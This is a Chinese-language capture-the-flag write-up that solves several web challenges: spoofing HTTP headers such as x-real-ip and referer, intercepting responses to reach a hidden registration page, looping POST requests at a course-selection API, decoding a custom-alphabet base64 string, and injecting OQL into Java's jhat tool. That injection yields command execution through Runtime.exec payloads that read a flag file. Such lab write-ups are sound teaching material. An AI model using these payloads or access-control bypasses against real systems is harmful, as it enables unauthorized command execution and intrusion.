ezHTTP
1 2 3 4 5 6 7 8 9 10 11 12 bp发包即可 GET / HTTP/1.1 Host: 106.15.72.34:31944 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Vidar; VidarOS x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 x-real-ip: 127.0.0.1 referer: vidar.club Connection: close
1 2 页面返回 flag已经给我们了,,, 继续观察返回包 发现 认证部分有有趣的东西
很显然是一个JWT算法
Bypass it 1 描述:This page requires javascript to be enabled :)
1 2 就只有登陆注册 功能 尝试一下弱口令 发现没登陆进去 注册页面 还不允许注册
1 2 通过提示 使用了javascript 可以想着禁用JS或者拦截返回包或者通过登陆包来构造注册包
bp拦截响应包
1 发现由于JavaScript会跳转到login.html 尝试更换成register.html
其实可以根据登陆包直接构造出一个注册包 login改成register即可
Select Courses 1 描述:Can you help ma5hr00m select the desired courses?
1 2 原本一直都不知道考点是什么 但是随便点击 发现就选上了一个 然后就尝试写了一个简易脚本(根据数据包) 一直选择课程 直到选上之后结束
1 2 3 4 5 6 7 8 9 10 11 import requestsurl = "http://106.14.57.14:32702/api/courses" data = {"id" : 1 } while True : for i in range (1 , 6 ): data["id" ] = i response = requests.post(url, json=data) if '"full":0' in response.text: print (f"Response for id={i} : {response.text} " )
1 运行脚本 是一个随机性的问题 等一会 出现完所有课程id 即 选课完了
比赛时候的脚本是简历脚本课程一个个跑 然后换课程 赛后看网上wp整了跑新全课程脚本
亦可以bp 攻击模块选课
2048*16 1 描述:2048还是太简单了,柏喵喵决定挑战一下2048*16
1 2 3 前端2048游戏 需要我们玩到32768 (显然很难玩到,游戏大神除外) 查看源代码 发现程序设置了禁止调试且做了JS混淆 继续翻翻JS代码 看看能不能翻到什么有趣的东西吧
1 2 3 发现了明显特征 game-won 可以猜测密文/表有可能为 V+g5LpoEej/fy0nPNivz9SswHIhGaDOmU8CuXb72dB1xYMrZFRAl=QcTq6JkWK4t3 且根据代码 寻找x
1 2 经尝试 此处含密文 I7R8ITMCnzbCn5eFIC=6yliXfzN=I5NMnz0XIC==yzycysi70ci7y7iK
一个换表的base64(个人感受是挺无语的,我翻挺久的…..)
jhat 1 2 3 4 5 描述: jhat is a tool used for analyzing Java heap dump files 提示1 hint1: need rce 提示2 hint2: focus on oql 提示3 hint3: 题目不出网 想办法拿到执行结果
1 2 3 4 5 6 7 8 9 10 11 附件给了dockerfile.txt FROM openjdk:8 # 指定新镜像的基础镜像 COPY data / # 将宿主机的data目录中的文件复制到根目录 CMD jhat heapdump.hprof # CMD 指定容器启动时默认执行的命令 # jhat命令对 heapdump.hprof文件进行分析 # jhat 是Java堆分析工具,用于分析Java堆转储文件 EXPOSE 7000 # 告知docker容器暴露出来的端口 docker的监听端口
1 jhat 有关java安全 只能说自己学的还是少了 只能根据遇到的题目 继续去学习
jhat是jdk内置的工具之一。主要是用来分析java堆的命令,可以将堆中的对象以html的形式显示出来,包括对象的数量,大小等等,并支持对象查询语言
OQL是一种类似于SQL的查询语言,主要用于在Java虚拟机(JVM)的堆内存中进行对象的查找和筛选。
参考:OQL(对象查询语言)在产品实现中造成的RCE(Object Injection) - Nebula (wooyun.js.org) 在产品实现中造成的RCE(Object Injection).html)
1 new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cat flag").getInputStream(),"gbk")).readLine()
第一个获取的RCE不完全 下面官方RCE相对于第一个 获取的shell更完整
1 new java.util.Scanner(java.lang.Runtime.getRuntime().exec('cat /flag').getInputStream())